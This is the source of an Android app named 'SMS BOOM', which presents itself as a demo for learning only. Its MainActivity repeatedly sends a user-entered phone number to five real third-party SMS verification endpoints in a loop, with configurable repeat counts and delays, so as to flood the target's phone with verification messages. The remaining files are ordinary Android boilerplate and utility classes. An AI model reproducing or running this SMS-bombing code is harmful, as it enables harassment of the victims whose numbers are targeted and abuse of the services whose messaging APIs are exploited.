├── .gitignore
├── .idea
└── vcs.xml
├── README.md
├── app
├── .gitignore
├── build.gradle
├── proguard-rules.pro
└── src
│ └── main
│ ├── AndroidManifest.xml
│ ├── java
│ └── com
│ │ └── sms
│ │ └── smsdemo
│ │ ├── MainActivity.java
│ │ └── MyApplication.java
│ └── res
│ ├── layout
│ └── activity_main.xml
│ ├── mipmap-xxhdpi
│ └── ic_launcher.png
│ ├── values-w820dp
│ └── dimens.xml
│ └── values
│ ├── colors.xml
│ ├── dimens.xml
│ └── strings.xml
├── build.gradle
├── common
├── build.gradle
├── libs
│ └── gson-2.2.2.jar
└── src
│ └── main
│ ├── AndroidManifest.xml
│ ├── java
│ └── com
│ │ └── jiangyu
│ │ └── common
│ │ ├── base
│ │ ├── BaseActivity.java
│ │ ├── BaseApplication.java
│ │ ├── BaseFragment.java
│ │ └── BaseHomeActivity.java
│ │ ├── entity
│ │ ├── AppVersionEntity.java
│ │ ├── EventCenter.java
│ │ ├── JsonBean.java
│ │ ├── MyBaseViewHolder.java
│ │ ├── MySelfInfo.java
│ │ ├── StaticEntity.java
│ │ ├── TabEntity.java
│ │ └── UserEntity.java
│ │ ├── utils
│ │ ├── AESUtil.java
│ │ ├── ActivityAnimation.java
│ │ ├── AlarmManagerUtil.java
│ │ ├── AppHelper.java
│ │ ├── Base64.java
│ │ ├── Base64Util.java
│ │ ├── BitmapUtil.java
│ │ ├── CacheUtil.java
│ │ ├── CheckIdCard.java
│ │ ├── ClickSpanUtils.java
│ │ ├── CommandResult.java
│ │ ├── CommandUtils.java
│ │ ├── CommonUtils.java
│ │ ├── DataUtil.java
│ │ ├── DesEncrypter.java
│ │ ├── EncryptUtil.java
│ │ ├── FileUtils.java
│ │ ├── Frequency.java
│ │ ├── GlobalExceptionHanlder.java
│ │ ├── JsonUtil.java
│ │ ├── Log.java
│ │ ├── MathUtil.java
│ │ ├── NetworkUtil.java
│ │ ├── PhotoUtils.java
│ │ ├── ProjectHelper.java
│ │ ├── PropertiesFactory.java
│ │ ├── RegexUtils.java
│ │ ├── ResourceUtil.java
│ │ ├── SharedPreferencesUtil.java
│ │ ├── StatusBarCompat.java
│ │ ├── StreamUtil.java
│ │ ├── StringUtil.java
│ │ ├── SystemCallUtil.java
│ │ ├── ThreadPool.java
│ │ ├── TimeUitls.java
│ │ ├── ToastUtil.java
│ │ ├── UILauncherUtil.java
│ │ ├── Util.java
│ │ ├── ViewHolder.java
│ │ ├── okgo
│ │ │ ├── JsonCallback.java
│ │ │ └── JsonConvert.java
│ │ └── pay
│ │ │ ├── Base64.java
│ │ │ ├── PayResult.java
│ │ │ └── SignUtils.java
│ │ └── view
│ │ ├── AddShopAnimationUtil.java
│ │ ├── AutoScrollTextView.java
│ │ ├── CircularImage.java
│ │ ├── CountdownView.java
│ │ ├── CustomCountDownTimer.java
│ │ ├── ElasticScrollView.java
│ │ ├── MaskedImage.java
│ │ ├── MaterialDialogHelper.java
│ │ ├── NumRelativeLayout.java
│ │ ├── RedBottomDialog.java
│ │ ├── ResizableImageView.java
│ │ ├── ResizableSimpleView.java
│ │ ├── ScrollAwareFABBehavior.java
│ │ ├── SwipeMenuLayout.java
│ │ ├── ViewPagerInNestedScrollView.java
│ │ └── ZoomableImageView.java
│ └── res
│ ├── anim
│ ├── bottom_push_up_in.xml
│ ├── bottom_push_up_out.xml
│ ├── nothing.xml
│ ├── push_left_in.xml
│ ├── push_left_out.xml
│ ├── push_right_in.xml
│ ├── push_right_out.xml
│ ├── top_push_up_in.xml
│ └── top_push_up_out.xml
│ ├── drawable-v21
│ └── button_selector.xml
│ ├── drawable
│ ├── background.xml
│ ├── button_selector.xml
│ ├── shape_circle_main_color.xml
│ ├── shape_radius_all.xml
│ ├── shape_radius_bottom_normal.xml
│ ├── shape_radius_bottom_pressed.xml
│ ├── shape_radius_bottom_selector.xml
│ ├── shape_radius_left_bottom.xml
│ ├── shape_radius_right_bottom_normal.xml
│ ├── shape_radius_right_bottom_pressed.xml
│ ├── shape_radius_right_bottom_selector.xml
│ └── trans_button_selector.xml
│ ├── layout
│ ├── activity_top_margin_main_color.xml
│ ├── activity_top_margin_transparent.xml
│ ├── activity_top_margin_white.xml
│ ├── item_top_main_color.xml
│ ├── item_top_white.xml
│ └── red_bottom_dialog.xml
│ ├── mipmap-xxhdpi
│ ├── arrow_left.png
│ └── arrow_left_white.png
│ ├── values-v19
│ └── dimens.xml
│ └── values
│ ├── attrs.xml
│ ├── color.xml
│ ├── dimens.xml
│ ├── ids.xml
│ ├── strings.xml
│ └── styles.xml
├── gradle.properties
├── gradle
└── wrapper
│ ├── gradle-wrapper.jar
│ └── gradle-wrapper.properties
├── gradlew
├── gradlew.bat
└── settings.gradle
/.gitignore:
--------------------------------------------------------------------------------
1 | *.iml
2 | .gradle
3 | /local.properties
4 | /.idea/workspace.xml
5 | /.idea/libraries
6 | .DS_Store
7 | /build
8 | /captures
9 | .externalNativeBuild
10 |
--------------------------------------------------------------------------------
/.idea/vcs.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | SmsDemo~仅用于学习使用!
2 |
--------------------------------------------------------------------------------
/app/.gitignore:
--------------------------------------------------------------------------------
1 | /build
2 |
--------------------------------------------------------------------------------
/app/build.gradle:
--------------------------------------------------------------------------------
1 | apply plugin: 'com.android.application'
2 |
3 | android {
4 | compileSdkVersion 25
5 | buildToolsVersion "27.0.3"
6 | defaultConfig {
7 | applicationId "com.sms.smsdemo"
8 | minSdkVersion 15
9 | targetSdkVersion 25
10 | versionCode 1
11 | versionName "1.0"
12 | testInstrumentationRunner "android.support.test.runner.AndroidJUnitRunner"
13 | }
14 | buildTypes {
15 | release {
16 | minifyEnabled false
17 | proguardFiles getDefaultProguardFile('proguard-android.txt'), 'proguard-rules.pro'
18 | }
19 | }
20 | }
21 |
22 | dependencies {
23 | compile fileTree(dir: 'libs', include: ['*.jar'])
24 | androidTestCompile('com.android.support.test.espresso:espresso-core:2.2.2', {
25 | exclude group: 'com.android.support', module: 'support-annotations'
26 | })
27 | compile 'com.android.support:appcompat-v7:25.3.1'
28 | testCompile 'junit:junit:4.12'
29 | compile project(':common')
30 | }
31 |
--------------------------------------------------------------------------------
/app/proguard-rules.pro:
--------------------------------------------------------------------------------
1 | # Add project specific ProGuard rules here.
2 | # By default, the flags in this file are appended to flags specified
3 | # in D:\0\SDK/tools/proguard/proguard-android.txt
4 | # You can edit the include path and order by changing the proguardFiles
5 | # directive in build.gradle.
6 | #
7 | # For more details, see
8 | # http://developer.android.com/guide/developing/tools/proguard.html
9 |
10 | # Add any project specific keep options here:
11 |
12 | # If your project uses WebView with JS, uncomment the following
13 | # and specify the fully qualified class name to the JavaScript interface
14 | # class:
15 | #-keepclassmembers class fqcn.of.javascript.interface.for.webview {
16 | # public *;
17 | #}
18 |
--------------------------------------------------------------------------------
/app/src/main/AndroidManifest.xml:
--------------------------------------------------------------------------------
1 |
2 |
4 |
5 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
22 |
23 |
26 |
27 |
28 |
29 |
--------------------------------------------------------------------------------
/app/src/main/java/com/sms/smsdemo/MainActivity.java:
--------------------------------------------------------------------------------
1 | package com.sms.smsdemo;
2 |
3 | import android.view.View;
4 | import android.widget.Button;
5 | import android.widget.EditText;
6 | import android.widget.TextView;
7 |
8 | import com.jiangyu.common.base.BaseActivity;
9 | import com.jiangyu.common.entity.EventCenter;
10 | import com.jiangyu.common.utils.CommonUtils;
11 | import com.jiangyu.common.utils.SharedPreferencesUtil;
12 | import com.jiangyu.common.utils.StringUtil;
13 | import com.jiangyu.common.utils.TimeUitls;
14 | import com.jiangyu.common.utils.ToastUtil;
15 | import com.lzy.okgo.OkGo;
16 | import com.lzy.okgo.callback.StringCallback;
17 | import com.lzy.okgo.model.Response;
18 |
19 | import butterknife.Bind;
20 | import butterknife.OnClick;
21 |
22 | public class MainActivity extends BaseActivity {
23 |
24 | @Bind(R.id.phone)
25 | EditText phone;
26 | @Bind(R.id.loop_count)
27 | EditText loopCount;
28 | @Bind(R.id.time_sleep)
29 | EditText timeSleep;
30 | @Bind(R.id.boom)
31 | Button boom;
32 | @Bind(R.id.stop)
33 | Button stop;
34 | @Bind(R.id.log)
35 | TextView log;
36 | private int successNumber = 0;//成功次数
37 | private int sloopCount = 1;//循环次数
38 | private StringCallback callback = new StringCallback() {
39 | @Override
40 | public void onSuccess(final Response response) {
41 | if (response.body().contains("成功")
42 | || response.body().contains("验证码已")
43 | || response.body().contains("已发送")
44 | || (response.body().contains("isError") && response.body().contains("false"))
45 | || response.body().contains("ok")
46 | || response.body().contains("true")
47 | || response.body().contains("Succeed")
48 | || response.body().contains("succeed")
49 | || response.body().contains("Success")
50 | || response.body().contains("success")) {
51 | runOnUiThread(new Runnable() {
52 | @Override
53 | public void run() {
54 | ToastUtil.showShort(response.body());
55 | log.setText("当前循环:" + (sloopCount - 1) + "\n成功次数:" + ++successNumber);
56 | }
57 | });
58 | } else {
59 | runOnUiThread(new Runnable() {
60 | @Override
61 | public void run() {
62 | log.setText("当前循环:" + (sloopCount - 1) + "\n成功次数:" + successNumber);
63 | }
64 | });
65 | }
66 | }
67 |
68 | @Override
69 | public void onError(final Response response) {
70 | super.onError(response);
71 | runOnUiThread(new Runnable() {
72 | @Override
73 | public void run() {
74 | ToastUtil.showShort(response.body());
75 | }
76 | });
77 | }
78 | };
79 | private Thread thread;
80 |
81 | @OnClick({R.id.boom, R.id.stop})
82 | public void onViewClicked(View view) {
83 | int viewId = view.getId();
84 | switch (viewId) {
85 | case R.id.boom:
86 | successNumber = 0;
87 | sloopCount = 1;
88 | String sphone = phone.getText().toString();
89 | sloopCount = Integer.parseInt(loopCount.getText().toString());
90 | SharedPreferencesUtil.setValue(mContext, "phone", sphone);
91 | if (!CommonUtils.isMobileNoValid(sphone)) {
92 | ToastUtil.showShort("Please enter the 11 phone number");
93 | return;
94 | }
95 | thread = new Thread(boomRun);
96 | thread.start();
97 | break;
98 | case R.id.stop:
99 | thread.interrupt();
100 | ToastUtil.showShort("stop");
101 | break;
102 | }
103 |
104 | }
105 |
106 | private Runnable boomRun = new Runnable() {
107 | @Override
108 | public void run() {
109 | String sphone = phone.getText().toString();
110 | String stimeSleep = timeSleep.getText().toString();
111 | try {
112 | OkGo.post("http://pod.dsylove.com/user/getSmsCode").params("phoneNum", sphone).params("appName", "dsylove").headers("token", "986244129").tag(this).execute(callback);
113 | Thread.sleep(Integer.parseInt(stimeSleep) * 1000);
114 | OkGo.post("https://api2.quhepai.com/user/getsmscode?os=Android&model=SM-G930F&area_id=110000&rctk=&imei=865821079483270&hpid=&ver=1.6.9&long=106.67963615746643&build=1712211344&token_temp=&netk=&nonce=1515146882410&token=&sa=SvWDOSgflCTktWN2gZJeA26s%2FKsJfvkYUf3h8KsEJ%2FxBUE3KOW%2BlQWy3g9bqRlNZ0EYGzUKwOb%2F0%0AYgOREoKTl3mmqa2pcsblrYUDbkDcT8dQiWJ9VxTaKqeIEbVl38VE4rXB1avYbPR2zOkD28c7%2Fas%2F%0Ap0R38lq3nziMVHRap34%3D&company=samsung&logined=0&api=39&verCode=446&user_id=&ch=hepai_s_018&lat=26.636185489185326&type=1&phone=" + sphone).tag(this).execute(callback);
115 | Thread.sleep(Integer.parseInt(stimeSleep) * 1000);
116 | OkGo.post("https://www.1yuanxing.com/apiAngular/getSMS.jsp?username=" + sphone).tag(this).execute(callback);
117 | Thread.sleep(Integer.parseInt(stimeSleep) * 1000);
118 | OkGo.post("http://api-cc.babybus.org/User/VerificationCode?al=403&ost=1&type=1&channel=A002&phone=" + sphone).tag(this).execute(callback);
119 | Thread.sleep(Integer.parseInt(stimeSleep) * 1000);
120 | OkGo.post("https://api2.drcuiyutao.com/v55/user/sendVerificationCode?dialCode=86&mobile=" + sphone).tag(this).execute(callback);
121 | Thread.sleep(Integer.parseInt(stimeSleep) * 1000);
122 |
123 |
124 |
125 |
126 | if (--sloopCount > 0) {
127 | thread = new Thread(boomRun);
128 | thread.start();
129 | } else {
130 | runOnUiThread(new Runnable() {
131 | @Override
132 | public void run() {
133 | ToastUtil.showShort("finish");
134 | }
135 | });
136 | }
137 | } catch (Exception e) {
138 | e.printStackTrace();
139 | }
140 | }
141 | };
142 |
143 |
144 | @Override
145 | protected void onEventComing(EventCenter var1) {
146 |
147 | }
148 |
149 | @Override
150 | protected void initComponents() {
151 | String oldphone = SharedPreferencesUtil.getValue(mContext, "phone");
152 | if (!StringUtil.isEmpty(oldphone)) {
153 | phone.setText(oldphone);
154 | }
155 | }
156 |
157 | @Override
158 | protected void initData() {
159 |
160 | }
161 |
162 | @Override
163 | protected int getMainContentViewId() {
164 | return R.layout.activity_main;
165 | }
166 | }
167 |
--------------------------------------------------------------------------------
/app/src/main/java/com/sms/smsdemo/MyApplication.java:
--------------------------------------------------------------------------------
1 | package com.sms.smsdemo;
2 |
3 | import com.facebook.drawee.backends.pipeline.Fresco;
4 | import com.jiangyu.common.base.BaseApplication;
5 | import com.orhanobut.logger.AndroidLogAdapter;
6 | import com.orhanobut.logger.Logger;
7 |
8 |
9 |
10 | public class MyApplication extends BaseApplication {
11 |
12 | @Override
13 | public void onCreate() {
14 | super.onCreate();
15 | Logger.addLogAdapter(new AndroidLogAdapter());
16 | Fresco.initialize(this);
17 |
18 | }
19 | }
20 |
--------------------------------------------------------------------------------
/app/src/main/res/layout/activity_main.xml:
--------------------------------------------------------------------------------
1 |
2 |
8 |
9 |
10 |
11 |
17 |
18 |
26 |
27 |
35 |
36 |
45 |
46 |
47 |
51 |
52 |
53 |
60 |
61 |
67 |
68 |
69 |
73 |
74 |
78 |
79 |
80 |
87 |
88 |
95 |
96 |
97 |
101 |
102 |
106 |
107 |
108 |
115 |
116 |
123 |
124 |
125 |
129 |
130 |
137 |
138 |
142 |
143 |
150 |
151 |
155 |
156 |
162 |
163 |
--------------------------------------------------------------------------------
/app/src/main/res/mipmap-xxhdpi/ic_launcher.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/yifanxiaokeai/SmsDemo/c3e64469ca4b9c18cb0a88b64728a12ef7b0b1e0/app/src/main/res/mipmap-xxhdpi/ic_launcher.png
--------------------------------------------------------------------------------
/app/src/main/res/values-w820dp/dimens.xml:
--------------------------------------------------------------------------------
1 |
2 |
5 | 64dp
6 |
7 |
--------------------------------------------------------------------------------
/app/src/main/res/values/colors.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 | #3F51B5
4 | #303F9F
5 | #FF4081
6 |
7 |
--------------------------------------------------------------------------------
/app/src/main/res/values/dimens.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 | 16dp
4 | 16dp
5 |
6 |
--------------------------------------------------------------------------------
/app/src/main/res/values/strings.xml:
--------------------------------------------------------------------------------
1 |
2 | SMS BOOM
3 |
4 |
--------------------------------------------------------------------------------
/build.gradle:
--------------------------------------------------------------------------------
1 | // Top-level build file where you can add configuration options common to all sub-projects/modules.
2 |
3 | buildscript {
4 | repositories {
5 | jcenter()
6 | }
7 | dependencies {
8 | classpath 'com.android.tools.build:gradle:2.2.0'
9 |
10 | // NOTE: Do not place your application dependencies here; they belong
11 | // in the individual module build.gradle files
12 | }
13 | }
14 |
15 | allprojects {
16 | repositories {
17 | jcenter()
18 | maven { url "https://jitpack.io" }
19 | maven {
20 | url "http://repo.baichuan-android.taobao.com/content/groups/BaichuanRepositories/"
21 | }
22 | }
23 | }
24 |
25 | task clean(type: Delete) {
26 | delete rootProject.buildDir
27 | }
28 |
--------------------------------------------------------------------------------
/common/build.gradle:
--------------------------------------------------------------------------------
1 | apply plugin: 'com.android.library'
2 |
3 | android {
4 | compileSdkVersion 25
5 | buildToolsVersion "25.0.2"
6 |
7 | defaultConfig {
8 | minSdkVersion 14
9 | targetSdkVersion 25
10 | versionCode 1
11 | versionName "1.0"
12 |
13 | testInstrumentationRunner "android.support.test.runner.AndroidJUnitRunner"
14 |
15 | }
16 | buildTypes {
17 | release {
18 | minifyEnabled false
19 | proguardFiles getDefaultProguardFile('proguard-android.txt'), 'proguard-rules.pro'
20 | }
21 | }
22 | }
23 |
24 | dependencies {
25 | compile fileTree(include: ['*.jar'], dir: 'libs')
26 | compile 'com.android.support:appcompat-v7:25.3.1'
27 | compile files('libs/gson-2.2.2.jar')
28 | compile 'com.android.support:design:25.3.1'
29 | compile 'com.android.support:recyclerview-v7:25.3.1'
30 | compile 'com.facebook.fresco:fresco:1.5.0'
31 | compile 'com.github.bumptech.glide:glide:3.7.0'
32 | compile 'com.orhanobut:logger:2.1.1'
33 | compile 'org.greenrobot:eventbus:3.0.0'
34 | compile 'com.jakewharton:butterknife:7.0.1'//view注解
35 | //封装OkHttp 的网络请求框架
36 | compile 'com.lzy.net:okgo:3.0.4'
37 | //fastjson
38 | compile 'com.alibaba:fastjson:1.2.9'
39 | //基于Glide的transformation库,拥有裁剪,着色,模糊,滤镜等多种转换效果
40 | compile 'jp.wasabeef:glide-transformations:2.0.1'
41 | // 为"单Activity + 多Fragment","多模块Activity + 多Fragment"架构而生,替代官方fragment https://github.com/YoKeyword/Fragmentation/blob/master/README_CN.md
42 | compile 'me.yokeyword:fragmentation:1.1.3'
43 | //广告条控件
44 | compile 'com.youth.banner:banner:1.4.10'
45 | //viewpager指示器 与 导航栏控件
46 | compile 'com.flyco.tablayout:FlycoTabLayout_Lib:2.1.2@aar'
47 | //RecyclerView的强大的BaseAdapter
48 | compile 'com.github.CymChad:BaseRecyclerViewAdapterHelper:2.9.22'
49 | //沉浸式库 ImmersionBar https://github.com/gyf-dev/ImmersionBar
50 | compile 'com.gyf.barlibrary:barlibrary:2.3.0'
51 | //material风格dialog
52 | compile 'com.afollestad.material-dialogs:core:0.9.4.5'
53 | //Android屏幕适配方案
54 | compile 'com.zhy:autolayout:1.4.5'
55 | //倒计时
56 | compile 'com.github.iwgang:countdownview:2.1.6'
57 | //仿iOS的PickerView控件,有时间选择器和选项选择器
58 | compile 'com.contrarywind:Android-PickerView:3.2.6'
59 | //粘性头部控件
60 | compile 'com.timehop.stickyheadersrecyclerview:library:[0.4.3]@aar'
61 | //Android流式布局,支持单选、多选等,适合用于产品标签等。
62 | compile 'com.hyman:flowlayout-lib:1.1.2'
63 |
64 | }
65 |
--------------------------------------------------------------------------------
/common/libs/gson-2.2.2.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/yifanxiaokeai/SmsDemo/c3e64469ca4b9c18cb0a88b64728a12ef7b0b1e0/common/libs/gson-2.2.2.jar
--------------------------------------------------------------------------------
/common/src/main/AndroidManifest.xml:
--------------------------------------------------------------------------------
1 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
21 |
22 |
23 |
24 |
--------------------------------------------------------------------------------
/common/src/main/java/com/jiangyu/common/base/BaseApplication.java:
--------------------------------------------------------------------------------
1 | package com.jiangyu.common.base;
2 |
3 | import android.app.Application;
4 | import android.os.Handler;
5 | import android.util.Log;
6 |
7 | import com.lzy.okgo.OkGo;
8 | import com.zhy.autolayout.config.AutoLayoutConifg;
9 |
10 | /**
11 | * 主要用来获取全局的Context
12 | */
13 | public class BaseApplication extends Application {
14 |
15 | private Handler handler;
16 | private static final String TAG = BaseApplication.class.getSimpleName();
17 | private static BaseApplication sInstance;
18 |
19 | /**
20 | * 获取全局Application对象
21 | *
22 | * @return
23 | * @since 2013.08.02 修改错误提示内容为Application by pcqpcq
24 | */
25 | public static BaseApplication getInstance() {
26 | if (sInstance == null) {
27 | Log.e(TAG, "THE APPLICATION OF YOUR PROJECT MUST BE 'TandyApplication', OR SOMEONE EXTEND FROM IT");
28 | }
29 | return sInstance;
30 | }
31 |
32 | @Override
33 | public void onCreate() {
34 | super.onCreate();
35 | AutoLayoutConifg.getInstance().useDeviceSize();
36 | handler = new Handler(getMainLooper());
37 | sInstance = this;
38 |
39 | OkGo.getInstance().init(this);
40 | }
41 |
42 |
43 | public void runOnUIThread(Runnable runnable) {
44 | handler.post(runnable);
45 | }
46 | }
47 |
--------------------------------------------------------------------------------
/common/src/main/java/com/jiangyu/common/base/BaseFragment.java:
--------------------------------------------------------------------------------
1 | package com.jiangyu.common.base;
2 |
3 | import android.app.Activity;
4 | import android.content.Context;
5 | import android.os.Bundle;
6 | import android.view.LayoutInflater;
7 | import android.view.View;
8 | import android.view.ViewGroup;
9 |
10 | import com.afollestad.materialdialogs.MaterialDialog;
11 | import com.afollestad.materialdialogs.Theme;
12 | import com.jiangyu.common.R;
13 | import com.jiangyu.common.entity.EventCenter;
14 | import com.jiangyu.common.entity.MySelfInfo;
15 | import com.jiangyu.common.utils.StringUtil;
16 |
17 | import org.greenrobot.eventbus.EventBus;
18 | import org.greenrobot.eventbus.Subscribe;
19 |
20 | import butterknife.ButterKnife;
21 | import me.yokeyword.fragmentation.SupportFragment;
22 |
23 | /**
24 | * Title: Fragment基类
25 | * Description:
26 | * Fragment基类
27 | *
28 | */
29 | public abstract class BaseFragment extends SupportFragment {
30 | protected Activity mActivity;
31 | protected Context mContext;
32 | protected LayoutInflater mInflater;
33 | private View mView = null;
34 | protected MaterialDialog mProgress;
35 |
36 | public abstract void initComponents(View view);
37 |
38 | public abstract void initData();
39 |
40 | @Override
41 | public void onCreate(Bundle savedInstanceState) {
42 | super.onCreate(savedInstanceState);
43 | this.mActivity = getActivity();
44 | this.mContext = getActivity().getApplicationContext();
45 |
46 | }
47 |
48 | @Override
49 | public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) {
50 | if (mView == null) {
51 | mView = inflater.inflate(getMainContentViewId(), null);
52 | mInflater = inflater;
53 | ButterKnife.bind(this, mView);
54 | EventBus.getDefault().register(this);
55 | initComponents(mView);
56 | initData();
57 | } else {
58 | // ((ViewGroup) mView.getParent()).removeAllViews();
59 | return mView;
60 | }
61 | return mView;
62 | }
63 |
64 | public abstract int getMainContentViewId();
65 |
66 | @Subscribe
67 | public void onEventMainThread(EventCenter center) {
68 | if (null != center) {
69 | this.onEventComing(center);
70 | }
71 | }
72 |
73 | protected abstract void onEventComing(EventCenter var1);
74 |
75 | /**
76 | * 查找View
77 | *
78 | * @param resId
79 | * @return
80 | */
81 | public T findView(int resId) {
82 | T view = (T) mView.findViewById(resId);
83 | return view;
84 | }
85 |
86 | public void showProgressDialog() {
87 | showProgressDialog("");// 默认显示"数据加载,请稍候..."
88 | }
89 |
90 | public void showProgressDialog(String msg) {
91 | if (StringUtil.isEmpty(msg)) {
92 | msg = "数据加载,请稍候...";
93 | }
94 | mProgress = new MaterialDialog.Builder(mActivity)
95 | .content(msg)
96 | .theme(Theme.LIGHT)
97 | .widgetColorRes(R.color.main_color)
98 | .canceledOnTouchOutside(false)
99 | .progress(true, 0)
100 | .show();
101 | }
102 |
103 | public void dismissProgressDialog() {
104 | if (null != mProgress && mProgress.isShowing()) {
105 | mProgress.dismiss();
106 | }
107 | }
108 |
109 | @Override
110 | public void onResume() {
111 | MySelfInfo.getInstance().getUserCache(mContext);
112 | super.onResume();
113 | }
114 |
115 | @Override
116 | public void onDestroy() {
117 | MySelfInfo.getInstance().writeUserToCache(mContext);
118 | ButterKnife.unbind(this);
119 | EventBus.getDefault().unregister(this);
120 | super.onDestroy();
121 | }
122 | }
123 |
--------------------------------------------------------------------------------
/common/src/main/java/com/jiangyu/common/entity/AppVersionEntity.java:
--------------------------------------------------------------------------------
1 | package com.jiangyu.common.entity;
2 |
3 | import java.util.List;
4 |
5 | public class AppVersionEntity {
6 |
7 |
8 | public DataBean data;
9 | public String code;
10 | public String msg;
11 |
12 | public static class DataBean {
13 |
14 |
15 | public CurrentVersionBean currentVersion;
16 | public CurrentVersionBean newVersion;
17 | public String is_new;
18 | public List payTypeList;
19 |
20 | public static class CurrentVersionBean {
21 |
22 | public String package_name;
23 | public String name;
24 | public String type;
25 | public String status;
26 | public String download_href;
27 | public String app_desc;
28 | public String version;
29 | public String create_time;
30 | public String is_must;
31 | public String version_code;
32 | public String id;
33 | }
34 |
35 | public static class newVersion {
36 |
37 | public String package_name;
38 | public String name;
39 | public String type;
40 | public String status;
41 | public String download_href;
42 | public String app_desc;
43 | public String version;
44 | public String create_time;
45 | public String is_must;
46 | public String version_code;
47 | public String id;
48 | }
49 |
50 | public static class PayTypeListBean {
51 |
52 |
53 | public String value;
54 | public String type;
55 | public String remark;
56 | public String create_time;
57 | public String id;
58 | }
59 | }
60 | }
61 |
--------------------------------------------------------------------------------
/common/src/main/java/com/jiangyu/common/entity/EventCenter.java:
--------------------------------------------------------------------------------
1 | package com.jiangyu.common.entity;
2 |
3 | public class EventCenter {
4 | private int eventCode = -1;
5 | private T data;
6 |
7 | public EventCenter(int eventCode) {
8 | this.eventCode = eventCode;
9 | }
10 |
11 | public EventCenter(int eventCode, T data) {
12 | this.eventCode = eventCode;
13 | this.data = data;
14 | }
15 |
16 | public int getEventCode() {
17 | return this.eventCode;
18 | }
19 |
20 | public T getData() {
21 | return this.data;
22 | }
23 | }
24 |
--------------------------------------------------------------------------------
/common/src/main/java/com/jiangyu/common/entity/JsonBean.java:
--------------------------------------------------------------------------------
1 | package com.jiangyu.common.entity;
2 |
3 | import com.bigkoo.pickerview.model.IPickerViewData;
4 |
5 | import java.util.List;
6 |
7 | /**
8 | *
9 | */
10 |
11 | public class JsonBean implements IPickerViewData {
12 |
13 |
14 | /**
15 | * name : 省份
16 | * city : [{"name":"北京市","area":["东城区","西城区","崇文区","宣武区","朝阳区"]}]
17 | */
18 |
19 | private String name;
20 | private List city;
21 |
22 | public String getName() {
23 | return name;
24 | }
25 |
26 | public void setName(String name) {
27 | this.name = name;
28 | }
29 |
30 | public List getCityList() {
31 | return city;
32 | }
33 |
34 | public void setCityList(List city) {
35 | this.city = city;
36 | }
37 |
38 | // 实现 IPickerViewData 接口,
39 | // 这个用来显示在PickerView上面的字符串,
40 | // PickerView会通过IPickerViewData获取getPickerViewText方法显示出来。
41 | @Override
42 | public String getPickerViewText() {
43 | return this.name;
44 | }
45 |
46 |
47 |
48 | public static class CityBean {
49 | /**
50 | * name : 城市
51 | * area : ["东城区","西城区","崇文区","昌平区"]
52 | */
53 |
54 | private String name;
55 | private List area;
56 |
57 | public String getName() {
58 | return name;
59 | }
60 |
61 | public void setName(String name) {
62 | this.name = name;
63 | }
64 |
65 | public List getArea() {
66 | return area;
67 | }
68 |
69 | public void setArea(List area) {
70 | this.area = area;
71 | }
72 | }
73 | }
74 |
--------------------------------------------------------------------------------
/common/src/main/java/com/jiangyu/common/entity/MyBaseViewHolder.java:
--------------------------------------------------------------------------------
1 | package com.jiangyu.common.entity;
2 |
3 | import android.view.View;
4 |
5 | import com.chad.library.adapter.base.BaseViewHolder;
6 | import com.zhy.autolayout.utils.AutoUtils;
7 |
8 | /**
9 | * JiangYu
10 | * 2018/1/4
11 | */
12 |
13 | public class MyBaseViewHolder extends BaseViewHolder {
14 | public MyBaseViewHolder(View view) {
15 | super(view);
16 | AutoUtils.autoSize(view);
17 | }
18 | }
19 |
--------------------------------------------------------------------------------
/common/src/main/java/com/jiangyu/common/entity/MySelfInfo.java:
--------------------------------------------------------------------------------
1 | package com.jiangyu.common.entity;
2 |
3 |
4 | import android.content.Context;
5 | import android.content.SharedPreferences;
6 |
7 | import com.google.gson.Gson;
8 | import com.jiangyu.common.utils.AESUtil;
9 | import com.jiangyu.common.utils.JsonUtil;
10 | import com.jiangyu.common.utils.StringUtil;
11 |
12 |
13 | public class MySelfInfo {
14 |
15 | private static final String USER_INFO = "user_info";
16 | private static final String USER_ENTITY = "user_entity";
17 | private static MySelfInfo ourInstance = new MySelfInfo();
18 |
19 | public static MySelfInfo getInstance() {
20 | return ourInstance;
21 | }
22 |
23 | private UserEntity user;
24 |
25 | public UserEntity getUser() {
26 | return user;
27 | }
28 |
29 | public void setUser(UserEntity user) {
30 | this.user = user;
31 | }
32 |
33 | public void writeUserToCache(Context context) {
34 | SharedPreferences settings = context.getSharedPreferences(USER_INFO, 0);
35 | SharedPreferences.Editor editor = settings.edit();
36 | String strConfig = new Gson().toJson(user);
37 | String encrypt = AESUtil.encrypt(strConfig);
38 | editor.putString(USER_ENTITY, encrypt);
39 | editor.commit();
40 | }
41 |
42 | public void getUserCache(Context context) {
43 | SharedPreferences sharedata = context.getSharedPreferences(USER_INFO, 0);
44 | String recipesStr = sharedata.getString(USER_ENTITY, "");
45 | String decrypt = "";
46 | try {
47 | decrypt = AESUtil.decrypt(recipesStr);
48 | } catch (Exception e) {
49 | e.printStackTrace();
50 | }
51 | if (StringUtil.isEmpty(decrypt)) {
52 | user = null;
53 | } else {
54 | UserEntity user1 = JsonUtil.toObject(decrypt,
55 | UserEntity.class);
56 | if (user1 == null) {
57 | user = null;
58 | } else {
59 | user = user1;
60 | }
61 | }
62 | }
63 |
64 | public void clearCache(Context context) {
65 | SharedPreferences settings = context.getSharedPreferences(USER_INFO, 0);
66 | SharedPreferences.Editor editor = settings.edit();
67 | editor.clear();
68 | editor.commit();
69 | }
70 |
71 | }
72 |
--------------------------------------------------------------------------------
/common/src/main/java/com/jiangyu/common/entity/StaticEntity.java:
--------------------------------------------------------------------------------
1 | package com.jiangyu.common.entity;
2 |
3 | public class StaticEntity {
4 |
5 |
6 | public DataBean data;
7 | public String code;
8 | public String msg;
9 |
10 | public static class DataBean {
11 |
12 |
13 | public String logo_url;
14 | public String service_protocol_url_ios;
15 | public String service_qq;
16 | public String service_tel;
17 | public String download_url;
18 | public String about_us_url;
19 | public String kefu_url;
20 | public String kefu_url_ios;
21 | public String share_content;
22 | public String service_protocol_url;
23 | public String send_money;
24 | public String user_guide_url;
